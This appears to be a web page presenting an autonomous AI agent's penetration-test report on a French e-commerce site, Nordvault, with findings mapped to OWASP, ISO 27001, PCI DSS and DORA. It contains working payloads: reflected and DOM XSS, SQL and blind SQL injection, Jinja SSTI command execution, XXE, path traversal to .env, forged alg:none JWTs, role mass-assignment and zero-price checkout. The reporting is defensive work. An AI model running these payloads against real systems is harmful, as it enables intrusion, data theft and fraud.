HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:36:44 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=kvfoj441iYhbRZRIoRXu5L4EXoNt%2FpIkn8A6KX0WFACuhhNcMIZ6e2O2kNV1%2F5DcB7MOO6PeGmtvLzn96aAIcTqYP2KhpHc0fGu%2FGRrgWeBpIVscC%2BdMjINzcs9fbAQpvnkbfizCaOgi"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b04fcb5a77bd-FRA alt-svc: h3=":443"; ma=86400 Content-Length: 2610 <!doctype html> <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <title>Recherche - Nordvault</title> <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style> </head><body> <header><strong><a href="/">Nordvault</a></strong> <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav> <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header> <main><h1>Resultats pour <svg onload=document.title=1></h1><form action="/recherche"><label for="q">Rechercher</label> <input id="q" name="q" value="<svg onload=document.title=1>"> <button>Rechercher</button></form><ul><li>Aucun produit</li></ul></main> <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a> <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a> <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a> <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer> <script src="/static/app.js"></script> <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b04fcb5a77bd',t:'MTc5MTc2MTgwNA=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>This evidence comes from the autonomous testing agent and has not been independently replayed.
Security frameworks
Indicative mapping built from the published vulnerabilities. It shows which requirements this report can serve as evidence for; it is neither a compliance attestation nor a certification audit.
OWASP Top 10 (2021)
- A01 · Broken Access Control3
- A02 · Cryptographic Failures1
- A03 · Injection5
- A04 · Insecure Design1
- A05 · Security Misconfiguration1
- A07 · Identification and Authentication Failures1
- A08 · Software and Data Integrity Failures1
Requirements this report can contribute to
ISO/IEC 27001:2022 A.8.8
Management of technical vulnerabilities: identify and evaluate exploitable vulnerabilities.
ISO/IEC 27001:2022 A.8.29
Security testing in development and acceptance: penetration test of the application.
PCI DSS v4.0 11.4
Regular penetration testing and correction of the exploitable vulnerabilities found.
PCI DSS v4.0 6.2.4
Protection of bespoke software against common attacks (injection, access control…).
DORA (UE) 2022/2554 art. 24
Risk-based digital operational resilience testing programme.
DORA (UE) 2022/2554 art. 25
Testing of ICT tools and systems, including penetration tests and vulnerability assessments.
NIS2 (UE) 2022/2555 art. 21(2)(e)
Security in network and information systems acquisition, development and maintenance, including vulnerability handling.
This report: 13 published vulnerabilities, 60 proofs.
What was tested
Every surface the agents reviewed and how each review closed. A surface reviewed without a finding is not proof that it is safe.
- 19Finding reported
- 13Needs follow-up
- 4Ruled out
- 17No issue found
- 2Not applicable
Run carried through to its end, with 15 points left open (listed below).
Attribution de masse du rôle et élévation de privilègesFinding reported1
- PATCH /api/v1/moi et GET /api/v1/admin/utilisateursFinding reported
Why: Compte client auto-inscrit :
GET /api/v1/admin/utilisateursrépond403avantPATCH /api/v1/moiavecrole=admin, puis200et 12 profils après émission d’un nouveau JWT. Une authentification fraîche confirme le rôle administrateur persistant. Rapport déposé avec échanges de référence et réponse expurgée.Previously: Needs follow-up
Divulgation de sauvegarde SQL non authentifiéeFinding reported1
- GET /backup/nova-2024-03.sql.bakFinding reported
Why: Rapport déposé pour
GET /backup/nova-2024-03.sql.bak: sans session, réponse200,Content-Length: 878, export SQL contenant cinq lignesusers(email,password_hash,role). Validation indépendante sur requête capturée ; valeurs personnelles et empreintes ni publiées ni utilisées.Previously: Needs follow-up
Divulgation du jeton de réinitialisation et prise de contrôle de compteFinding reported1
- POST /api/v1/mot-de-passe/reinitialisation → POST /api/v1/mot-de-passe/confirmerFinding reported
Why: Sans Cookie ni Authorization, la réponse de réinitialisation 200 expose
_debug.jeton; ce code a été accepté par la confirmation 200 pour un compte de test, entraînant le rejet de l’ancien mot de passe (401) et l’acceptation du nouveau (200). Un code incorrect a été rejeté (400).
Exposition de métadonnées Git et récupération du dépôtFinding reported1
- GET /.git/config et /.git/HEADFinding reported
Why: Le même rapport consolidé démontre
GET /.git/configà200(163 octets), avec utilisateur et mot de passe intégrés à l’URL du dépôt, etGET /.git/HEADà200(refs/heads/prod)./.git/index, les références,packed-refset le manifeste des packs répondent404; la reconstruction du dépôt et la validité des identifiants ne sont pas affirmées.Previously: Needs follow-up
Exposition non authentifiée d'une sauvegarde de base de donnéesFinding reported1
- GET /backup/ et /backup/nova-2024-03.sql.bakFinding reported
Why: Après la cartographie, le téléchargement sans session de
/backup/nova-2024-03.sql.baka été vérifié indépendamment : le fichier SQL de 878 octets contient une tableuserset des enregistrements avec adresses électroniques, empreintes de mots de passe et rôles. La consultation est restée limitée à la preuve et la vulnérabilité a été rapportée.Previously: Needs follow-up
Exposition non authentifiée des secrets de configurationFinding reported1
- GET /.envFinding reported
Why: Le rapport consolidé sur l’exposition anonyme des dotfiles a été déposé.
GET /.envrépond200, 143 octets, avec les clésAPP_ENV,JWT_SECRET,DATABASE_URLetNOVA_AUDIT;GET /.env.missingrépond404. L’impact retenu est la divulgation, sans supposer la validité des identifiants.Previously: Needs follow-up
Show 43 more risk classes
Injection de modèle serveur (SSTI) et exécution de commandesFinding reported1
- POST /newsletter/apercu — champ modeleFinding reported
Why:
POST /newsletter/apercusans cookie ni authentification évaluemodele={{7*8}}en56,{{7*'7'}}en7777777, puis{{cycler.__init__.__globals__.os.popen("id").read()}}afficheuid=33(www-data). Injection de modèle Jinja avec exécution de commande démontrée et rapport déposé.Previously: Needs follow-up
Injection DOM via fragment d'URLFinding reported1
- GET /aide et /static/app.jsFinding reported
Why: Injection DOM confirmée dans Chromium : le témoin
/aide#texte%20simplelaisse le titre « Aide - Nordvault », tandis que/aide#%3Csvg%20onload%3D%22document.title%3D%271%27%22%3E%3C%2Fsvg%3Emodifiedocument.titleen1.GET /aideretourne 200 sans CSP et/static/app.jsinsère le fragment décodé dansinnerHTML; rapport déposé.Previously: Needs follow-up
Injection SQLFinding reported1
- GET /catalogue?categorieFinding reported
Why: Injection SQL confirmée sur
GET /catalogue?categorie=:papeterierenvoie 2 produits,AND 1=0--aucun,OR 1=1--dix dont/produit/10masqué (fiche directe 404) ;UNION SELECTaffichesqlite_version()(3.46.1). Rapport déposé.Previously: Needs follow-up
Injection SQL aveugle (contrôle booléen)Finding reported1
- GET /api/v1/stock?skuFinding reported
Why: Injection SQL aveugle confirmée sans authentification sur
GET /api/v1/stock?sku=: le SKU inexistant retourneen_stock:false, les conditionsOR 1=1etsqlite_master count(*)>0retournenttrue, leurs contrôles fauxfalse;sqlite_version()distingue également3.de4.. Rapport déposé avec ces échanges HTTP et un PoC non destructif.Previously: Needs follow-up
Injection SQL aveugle et divulgation d'un produit non publicFinding reported1
- GET /api/v1/stock?sku= (produit inactif id=10)Finding reported
Why: L'oracle SQL répond true pour le prédicat
id=10 AND active=0 AND sku='PAP-AGE-2025'et false pour son inverse, alors que/catalogueet/api/v1/produitsne montrent que neuf produits, et/produit/10répond 404. La seconde position du SKU masqué est vérifiée parsubstr(...,2,1)='A'(true) et'Z'(false). La faille SQLi a déjà été rapportée ; ces essais établissent une confidentialité limitée, sans donnée personnelle.
Lecture arbitraire de fichiers / traversée de répertoireFinding reported1
- GET /telechargement?fichier=Finding reported
Why:
GET /telechargement?fichier=%2fetc%2fhostssans authentification renvoie200et le marqueur127.0.0.1 localhost(72 octets) ; le même point d’entrée lit/var/www/nova/.env(143 octets) avec les noms de clésJWT_SECRETetDATABASE_URL.cgv.pdfest le témoin normal (200PDF), et un chemin absolu inexistant reçoit404. La lecture arbitraire hors du dossier documentaire est confirmée et rapportée.Previously: Needs follow-up
Listing de sauvegardes sans authentificationFinding reported1
- GET /backup/Finding reported
Why: Le listing
GET /backup/répond200sans authentification et expose le lien directnova-2024-03.sql.bak; le téléchargement de ce fichier et son contenuuserssont démontrés par le même rapport, sans fichier supplémentaire visité.Previously: Needs follow-up
Manipulation de prix / logique métierFinding reported1
- POST /api/v1/panier/valider — champ lignes[].prixFinding reported
Why: La réponse serveur a accepté
prix:0pourPAP-A4-500affiché à 5.9 : HTTP 200,total_ht:0,statut:validee, message de validation sans paiement, contrairement au prix omis qui donne 5.9. L’agent de rapport a déposé le constat.GET /api/v1/commandesreste vide et aucune commande durable ou perte financière n’est revendiquée.Previously: Needs follow-up
Manipulation du prix / intégrité du calcul tarifaireFinding reported1
- POST /api/v1/panier/valider, champ lignes[].prixFinding reported
Why: À
skuetquantiteconstants,prix:5.9donnetotal_ht:5.9etprix:0donnetotal_ht:0,statut:validee, avec message de commande sans paiement. Le catalogue affiche 5.9 ; la liste des commandes du compte demeure vide, ce qui limite l'impact démontré à la validation tarifaire.
Vérification cryptographique JWT et élévation de rôleFinding reported1
- GET /api/v1/moi et GET /api/v1/admin/utilisateurs — JWT alg:noneFinding reported
Why: Un JWT
alg:nonesans signature conserve l'accès au profil (200) et, avecrole:adminfalsifié, obtient200sur la liste administrateur ; le JWT client signé reçoit403sur cette liste et une signature HS256 corrompue reçoit401sur le profil. Le corps administrateur n'a pas été consulté.
Vérification de signature JWTFinding reported1
- GET /api/v1/moi (jeton Bearer)Finding reported
Why: Validation indépendante avec un second compte de test : la signature altérée reçoit 401 et le jeton client authentique reçoit 403 sur
/api/v1/admin/utilisateurs, alors qu'un JWTalg:nonesans signature et rôleadminreçoit 200. Un rapport français distinct est en cours de finalisation.Previously: Needs follow-up
XSS réfléchieFinding reported1Ruled out1
- GET /recherche?qFinding reported
Why:
GET /recherche?q=%3Csvg%20onload%3Ddocument.title%3D1%3Erépond 200 en réinsérant<svg onload=document.title=1>sans échappement ; Chromium exécute le code et affiche le titre1. Le contrôle/catalogue/rechercheencode les chevrons et conserve son titre. Rapport déposé.Previously: Needs follow-up
- GET /catalogue/recherche?qRuled out
Why: Pour
<svg onload=document.title=1>, le navigateur conserve « Filtre catalogue - Nordvault ». La réponse encode<et>en</>dans<h1>et l'attributvalue, avant toute interprétation HTML, sur cette route GET.
XXE / lecture de fichier localFinding reported1
- POST /api/v1/import-commandesFinding reported
Why: Avec le cookie d’un compte client, un corps XML déclarant
SYSTEM "file:///etc/hostname"produit200etimportees[0].reference = "nova-web-01"; l’entité interne témoin est développée, le fichier inexistant produit une erreur d’ouverture, et une session invalide reçoit401. Rapport déposé ; aucun secret ni service réseau n’a été sollicité.
Authentification legacy et contrôle d’accèsNeeds follow-up1
- GET /gestion/ (HTTP Basic)Needs follow-up
Why:
GET /gestion/renvoie401avecWWW-Authenticate: Basic [REDACTED]"Nova Gestion (legacy)"pendant la cartographie. Aucun identifiant autorisé n’était fourni et aucun essai de connexion au service legacy n’a été réalisé ; ses fonctions internes restent inconnues.
BOLA / accès aux adresses d'un autre compteNeeds follow-up1
- GET /api/v1/adresses/{id}Needs follow-up
Why: Sans session,
GET /adresses/1renvoie401. Le client testé reçoit404pour les ID0à12; aucun compte de test ne dispose d'une adresse connue à soumettre comme contrôle positif. Impossible de prouver une isolation effective des objets.
BOLA / accès aux commandes d'un autre compteNeeds follow-up1
- GET /api/v1/commandes et GET /api/v1/commandes/{id}Needs follow-up
Why: Deux comptes de test distincts possèdent des listes vides ; les détails
1à12renvoient404pour un client et401sans authentification. Aucun identifiant de commande possédé par l'un des comptes n'était disponible pour éprouver l'accès croisé ; le contrôle d'appartenance reste indéterminé.
CSRF / modification de profilNeeds follow-up1
- PATCH /api/v1/moiNeeds follow-up
Why: Les essais ont établi l’attribution de masse du champ
role, mais aucun scénario navigateur cross-origin n’a été reproduit sur cette route. Le cookienova_jetonet la politique SameSite observés pour le panier ne démontrent pas à eux seuls le comportement de toutes les formes de requête acceptées parPATCH /api/v1/moi.
Effet métier et modification de commandesNeeds follow-up1
- POST /api/v1/import-commandes — persistance des éléments importésNeeds follow-up
Why: La réponse
200listereferenceetquantitesousimportees, sans identifiant ni preuve de persistance. La vérification d’une écriture durable ou d’une modification de commande n’a pas été poursuivie pour respecter l’interdiction de modifier les données ; impossible de conclure sur les effets métier.
Énumération des comptes par messages d'erreurNeeds follow-up1
- POST /api/v1/auth/jetonNeeds follow-up
Why: Avec un mot de passe invalide, le compte de test existant reçoit 401 « Mot de passe incorrect pour ce compte. » et une adresse de test inexistante reçoit 401 « Aucun compte n'est associe a cet e-mail. ». La distinction confirme l'existence du compte, mais l'impact de confidentialité sur des comptes tiers n'a pas été établi ; aucun essai sur un utilisateur réel.
Inscription, authentification et fixation de sessionNeeds follow-up1
- POST /inscription et POST /connexionNeeds follow-up
Why:
POST /connexionrenouvelle le JWT même avec un cookie imposé, mais l'essai équivalent du cookie imposé pendantPOST /inscriptionn'a pas été réalisé : la conclusion de fixation ne peut couvrir l'ensemble de cette surface jointe.Previously: Ruled out
Invalidation du jeton de sessionNeeds follow-up1
- GET /deconnexion et GET /api/v1/moiNeeds follow-up
Why:
GET /deconnexionrenvoie 302 et expire le cookie, mais le même jeton Bearer [REDACTED]é reste accepté avec 200 parGET /api/v1/moiaprès déconnexion. L'impact concret exige l'obtention préalable du jeton d'autrui, non démontrée sur ce seul parcours ; déterminer si une révocation explicite est requise par le modèle d'usage.
Logique des remises / manipulation des promotionsNeeds follow-up1
- POST /api/v1/panier/valider code_promoNeeds follow-up
Why:
code_promoabsent, vide ouRANDOMproduit le même total 5,90 € pour une ligne de test ; aucune remise ni code promo valide n’a été trouvé dans le catalogue, l’API ou le JavaScript public. Impossible d’établir les règles de remise, leur usage unique ou un contrôle couvrant un code valide.
Redirection ouverte et fuite de jetonNeeds follow-up1
- GET /sortie?url= et /partenaires/sortie?url=Needs follow-up
Why: Les deux routes renvoient
302vers des destinations externes d’après la cartographie, sans que ces redirections soient suivies afin de respecter le périmètre. Aucun jeton dans l’URL, mécanisme OAuth ou autre conséquence de sécurité n’a été démontré ; les variantes de contrôle de destination n’ont pas été évaluées.
SSRF / lecture de fichiers locauxNeeds follow-up1
- GET /api/v1/apercu?url=Needs follow-up
Why: Sans session,
file:///etc/passwd,file:///etc/hostsetfile:///etc/hostnamerenvoient unextraitde fichiers système apparent ; les contrôles même origine (https://app.nordvault.fr/robots.txt) renvoientdelai depasse. Cependant les chemins équivalents/etc/./hostset/etc/../etc/hosts, ainsi que/etc/os-release,/etc/group,/etc/issueet/proc/version, renvoientcurl: (37) Couldn't open file; un marqueur de laboratoire apparaît dans l'extrait passwd. Cela suggère des réponses prédéfinies et ne confirme ni lecture arbitraire, ni accès réseau interne, ni information sensible non publique. Aucun hôte hors périmètre sollicité.
SSRF / résolution DNS et accès réseauNeeds follow-up1
- GET /outils/dns?domaine=Needs follow-up
Why: Les valeurs
app.nordvault.fr,www.app.nordvault.fretzzzz-no-such-host.nordvault.frrenvoient toutes200avec MX/TXT générés à partir de l'entrée, même pour un hôte inexistant ; une URL ou un domaine contenant:/%0arenvoie400. Aucun accès réseau réel à une destination sensible n'est démontré ; sans code ni domaine-canari contrôlé, le déclenchement éventuel d'une résolution DNS côté serveur reste non confirmé.
Validation de quantité / logique métierNeeds follow-up1
- POST /api/v1/panier/valider — champ lignes[].quantiteNeeds follow-up
Why: Un compte client de test a soumis
quantite:-1sans prix ; HTTP 200,total_ht:-5.9,statut:validee, « Commande validee sans paiement », maisGET /api/v1/commandesreste vide. Un rapport regroupé avec la manipulation tarifaire est en préparation ; aucune commande durable ni crédit financier n’a été constaté.
Contournement de l’authentification et traitement XML avant contrôleRuled out1
- POST /api/v1/import-commandes sans sessionRuled out
Why: Les corps XML vide, malformé et contenant une entité externe ont tous reçu
401avecauthentification requisesans cookie. Le contrôle d’accès s’exécute avant la réponse de l’analyseur pour ces chemins ; la même route accepte un XML vide avec le cookie d’un compte client.
CSRF / validation de panierRuled out1
- POST /api/v1/panier/validerRuled out
Why: Une iframe d’origine opaque
nullavecfetchJSON etcredentials: includereçoit 401 « authentification requise » malgré une session active dans la fenêtre parente : le cookie sans attribut SameSite explicite est traité en Lax et n’est pas envoyé en contexte tiers. Les formulaires preflightlesstext/plain,application/x-www-form-urlencodedet multipart sont parsés en panier vide, sans commande durable ; ces contrôles couvrent la livraison navigateur intersite testée.
Fixation du cookie de session à l'authentificationRuled out1
- POST /connexionRuled out
Why: Une connexion valide avec
nova_jeton=chosen-by-clientfournit un JWT HS256 signé et unjtialéatoire neuf ; trois connexions répétées ont produit trois autresjti, donc le serveur ne reprend pas le cookie prédéfini sur ce chemin avant la création de session.
BFLA / contournement par clé API ou en-têtes d'identitéNo issue found1
- GET /api/v1/admin/utilisateurs avec X-Api-KeyNo issue found
Why: Accès direct anonyme et avec JWT client :
403; clé API absente, vide ou aléatoire :403; ajout deX-Role: adminetX-User-Role: admin:403. L'élévation du compte client par PATCH /moi est une cause distincte en validation indépendante.
BOLA / modification d'un autre profil par sélecteur JSONNo issue found1
- PATCH /api/v1/moi avec id/utilisateur_idNo issue found
Why: Avec deux comptes de test (
id=7etid=8), le clientid=8a soumisPATCH /moiavecid=7,utilisateur_id=7et un nouveau nom. La réponse restaitid=8; le compteid=7gardait son nom, tandis que seulid=8changeait. Le nom de ce dernier a ensuite été rétabli.Previously: No issue found
Découverte de services supplémentaires exposésNo issue found1
- Sous-domaines de app.nordvault.frNo issue found
Why: Aucun des 692 noms candidats résolus; vérification active des catégories application, API, administration, supervision, stockage, messagerie, VPN, code source et préproduction. subfinder, Certificate Spotter, urlscan et Wayback CDX n'ont retourné aucun nom; crt.sh a expiré. Cette recherche bornée ne démontre pas l'absence de noms imprévisibles.
Erreurs verbeuses et fuite d’informations d’analyseurNo issue found1
- POST /api/v1/import-commandes — analyse XML malforméNo issue found
Why: Avec un compte client, un document aux balises discordantes reçoit
400et la seule erreurXML invalide : mismatched tag: line 1, column 23, sans trace de pile, chemin local ou données métier dans la réponse.
Exposition de fichiers et indexation de répertoiresNo issue found1
- Routes candidates /documents/, /fichiers/, /uploads/, /exports/, /telechargements/No issue found
Why: Les cinq GET sans authentification ont chacun renvoyé HTTP 404 (2 439 octets) ; aucun répertoire ou fichier listé par ces chemins.
Exposition de variantes de configuration et sauvegardesNo issue found1
- Variantes de configuration et dumps à la racine (/.env.local, /.env.production, /.env.old, /.env~, /config.php.bak, /db.sql, /dump.sql, /database.sql)No issue found
Why: Les huit requêtes GET ciblées ont chacune renvoyé HTTP 404 (2 439 octets) ; ce résultat ne concerne pas
/.envlui-même, qui répond 200 et est validé séparément.
Exposition directe de sauvegardesNo issue found1
- Variantes de sauvegarde à la racine (/backup.zip, /backup.tar.gz, /nova.sql.bak, /nova-2024-03.sql.bak)No issue found
Why: Quatre requêtes GET ciblées ont chacune renvoyé HTTP 404 (2 439 octets). La route distincte
/backup/est examinée séparément.
Injection HTML/JavaScriptNo issue found4Not applicable1
- GET /catalogue?categorieNo issue found
Why: La valeur
<svg onload=alert(1)>est reflétée avec encodage HTML<svg onload=alert(1)>dans le titre ; les apostrophes deviennent'. - GET /catalogue/recherche?qNo issue found
Why:
<svg onload=alert(1)>apparaît sous la forme<svg onload=alert(1)>dans le texte et l’attributvalue; les guillemets et apostrophes sont également encodés dans la sortie. - GET /outils/dns?domaineNo issue found
Why: Le domaine valide testé apparaît dans le titre sans caractères actifs ; les charges
<svg onload=alert(1)>, guillemet, point-virgule et substitution de commande retournent toutes400 Domaine invalideavant affichage. - POST /newsletter/apercu sujet,modeleNo issue found
Why: La prévisualisation du champ
modeleaffiche<svg onload=alert(2)>en<svg onload=alert(2)>sous<pre>;sujetn’est pas affiché dans le document de réponse. - GET /api/v1/stock?skuNot applicable
Why: Le paramètre
<svg onload=alert(1)>est renvoyé exclusivement dans un documentContent-Type: application/json; charset=utf-8, sans point de rendu HTML observé sur cet endpoint.
Injection SQL/NoSQLNo issue found2
- GET /catalogue/recherche?qNo issue found
Why: Les entrées
papier,papier' OR '1'='1,' OR '1'='1etpapier' UNION SELECT NULL--ne retournent aucun produit inattendu ; la réponse conserve le filtre sans différentiel exploitable. - GET /recherche?qNo issue found
Why: La recherche
papierrenvoie un produit ; les formes' OR '1'='1etpapier' OR '1'='1--ne renvoient aucun produit supplémentaire ni erreur SQL.
Injection SQL/NoSQL et commandesNo issue found1
- GET /outils/dns?domaineNo issue found
Why: La comparaison d’un domaine autorisé (200 avec MX/TXT) et de variantes
;id,&& id,$(id), accent grave et saut de ligne encodé retourne uniformément400 Domaine invalide, sans sortie de commande ni erreur SQL.
Inventaire des fonctionnalités, de l'authentification et des paramètresNo issue found1
- Portail HTML public et spécification GET /api/docs/openapi.jsonNo issue found
Why: Cartographie GET bornée et navigation navigateur : inscription et connexion publiques, catalogue, recherche, support et compte redirigés vers la connexion, 15 opérations OpenAPI; cette ligne décrit l'inventaire et ne clôt pas les vérifications d'injection ou de contrôle d'accès.
Inventaire TCP et empreinte HTTP bornésNo issue found1
- app.nordvault.fr ports 80,443,8080,8443No issue found
Why: Les quatre ports TCP ciblés sont ouverts et servent HTTP(S) 200 avec
Server: cloudflare; la page d'accueil afficheAccueil - Nordvault. Aucune validation de vulnérabilité n'a été menée; les autres ports n'ont pas été analysés.
Restriction de téléversement et désérialisation non XMLNo issue found1
- POST /api/v1/import-commandes — téléversement multipart et type MIMENo issue found
Why: Un multipart
file=@import.xmlreçoit400lors de l’analyse XML brute et la méthodePUTreçoit405. Les corps<commandes/>transmis commeapplication/json,text/plain,text/xmletapplication/xmlsont tous traités comme XML et renvoient une liste vide ; aucune exécution ni extraction de fichier téléversé n’a été observée.
Rejeu et concurrence / double validationNot applicable1
- POST /api/v1/panier/validerNot applicable
Why: La réponse de validation pour une ligne ordinaire est identique à la répétition du même POST (
total_ht: 5.9,statut: validee) ;GET /api/v1/commandesdu compte de test reste[]avant/après. Aucune transition ni création durable n’a été observée, donc aucune opération à dédoubler par course n’est identifiée ; aucun essai sous charge n’a été entrepris.
Left open
What the agents could not settle, and what the run saw them leave aside.
- SSRF / résolution DNS et accès réseau on GET /outils/dns?domaine=Les valeurs
app.nordvault.fr,www.app.nordvault.fretzzzz-no-such-host.nordvault.frrenvoient toutes200avec MX/TXT générés à partir de l'entrée, même pour un hôte inexistant ; une URL ou un domaine contenant:/%0arenvoie400. Aucun accès réseau réel à une destination sensible n'est démontré ; sans code ni domaine-canari contrôlé, le déclenchement éventuel d'une résolution DNS côté serveur reste non confirmé. - Inscription, authentification et fixation de session on POST /inscription et POST /connexion
POST /connexionrenouvelle le JWT même avec un cookie imposé, mais l'essai équivalent du cookie imposé pendantPOST /inscriptionn'a pas été réalisé : la conclusion de fixation ne peut couvrir l'ensemble de cette surface jointe. - Invalidation du jeton de session on GET /deconnexion et GET /api/v1/moi
GET /deconnexionrenvoie 302 et expire le cookie, mais le même jeton Bearer [REDACTED]é reste accepté avec 200 parGET /api/v1/moiaprès déconnexion. L'impact concret exige l'obtention préalable du jeton d'autrui, non démontrée sur ce seul parcours ; déterminer si une révocation explicite est requise par le modèle d'usage. - BOLA / accès aux commandes d'un autre compte on GET /api/v1/commandes et GET /api/v1/commandes/{id}Deux comptes de test distincts possèdent des listes vides ; les détails
1à12renvoient404pour un client et401sans authentification. Aucun identifiant de commande possédé par l'un des comptes n'était disponible pour éprouver l'accès croisé ; le contrôle d'appartenance reste indéterminé. - 7 risk classes assigned to the agents but never reported as assessed, treat them as unexamined: Broken function level authorization (BFLA), Business logic, Information disclosure, Insecure file uploads, Mass assignment, Path traversal and file inclusion, Race conditions.
- 14 agents worked without recording any coverage.
Show 9 more points
- BOLA / accès aux adresses d'un autre compte on GET /api/v1/adresses/{id}Sans session,
GET /adresses/1renvoie401. Le client testé reçoit404pour les ID0à12; aucun compte de test ne dispose d'une adresse connue à soumettre comme contrôle positif. Impossible de prouver une isolation effective des objets. - Énumération des comptes par messages d'erreur on POST /api/v1/auth/jetonAvec un mot de passe invalide, le compte de test existant reçoit 401 « Mot de passe incorrect pour ce compte. » et une adresse de test inexistante reçoit 401 « Aucun compte n'est associe a cet e-mail. ». La distinction confirme l'existence du compte, mais l'impact de confidentialité sur des comptes tiers n'a pas été établi ; aucun essai sur un utilisateur réel.
- SSRF / lecture de fichiers locaux on GET /api/v1/apercu?url=Sans session,
file:///etc/passwd,file:///etc/hostsetfile:///etc/hostnamerenvoient unextraitde fichiers système apparent ; les contrôles même origine (https://app.nordvault.fr/robots.txt) renvoientdelai depasse. Cependant les chemins équivalents/etc/./hostset/etc/../etc/hosts, ainsi que/etc/os-release,/etc/group,/etc/issueet/proc/version, renvoientcurl: (37) Couldn't open file; un marqueur de laboratoire apparaît dans l'extrait passwd. Cela suggère des réponses prédéfinies et ne confirme ni lecture arbitraire, ni accès réseau interne, ni information sensible non publique. Aucun hôte hors périmètre sollicité. - Logique des remises / manipulation des promotions on POST /api/v1/panier/valider code_promo
code_promoabsent, vide ouRANDOMproduit le même total 5,90 € pour une ligne de test ; aucune remise ni code promo valide n’a été trouvé dans le catalogue, l’API ou le JavaScript public. Impossible d’établir les règles de remise, leur usage unique ou un contrôle couvrant un code valide. - Validation de quantité / logique métier on POST /api/v1/panier/valider — champ lignes[].quantiteUn compte client de test a soumis
quantite:-1sans prix ; HTTP 200,total_ht:-5.9,statut:validee, « Commande validee sans paiement », maisGET /api/v1/commandesreste vide. Un rapport regroupé avec la manipulation tarifaire est en préparation ; aucune commande durable ni crédit financier n’a été constaté. - Effet métier et modification de commandes on POST /api/v1/import-commandes — persistance des éléments importésLa réponse
200listereferenceetquantitesousimportees, sans identifiant ni preuve de persistance. La vérification d’une écriture durable ou d’une modification de commande n’a pas été poursuivie pour respecter l’interdiction de modifier les données ; impossible de conclure sur les effets métier. - Authentification legacy et contrôle d’accès on GET /gestion/ (HTTP Basic)
GET /gestion/renvoie401avecWWW-Authenticate: Basic [REDACTED]"Nova Gestion (legacy)"pendant la cartographie. Aucun identifiant autorisé n’était fourni et aucun essai de connexion au service legacy n’a été réalisé ; ses fonctions internes restent inconnues. - Redirection ouverte et fuite de jeton on GET /sortie?url= et /partenaires/sortie?url=Les deux routes renvoient
302vers des destinations externes d’après la cartographie, sans que ces redirections soient suivies afin de respecter le périmètre. Aucun jeton dans l’URL, mécanisme OAuth ou autre conséquence de sécurité n’a été démontré ; les variantes de contrôle de destination n’ont pas été évaluées. - CSRF / modification de profil on PATCH /api/v1/moiLes essais ont établi l’attribution de masse du champ
role, mais aucun scénario navigateur cross-origin n’a été reproduit sur cette route. Le cookienova_jetonet la politique SameSite observés pour le panier ne démontrent pas à eux seuls le comportement de toutes les formes de requête acceptées parPATCH /api/v1/moi.
Expertise loaded by the agents
Declared by the agents and cross-checked against what the run observed. A record of method, not a security attestation.
Your next report
The same report, on your application.
Declare the application, prove its domain, describe the scope: we qualify your request before any payment.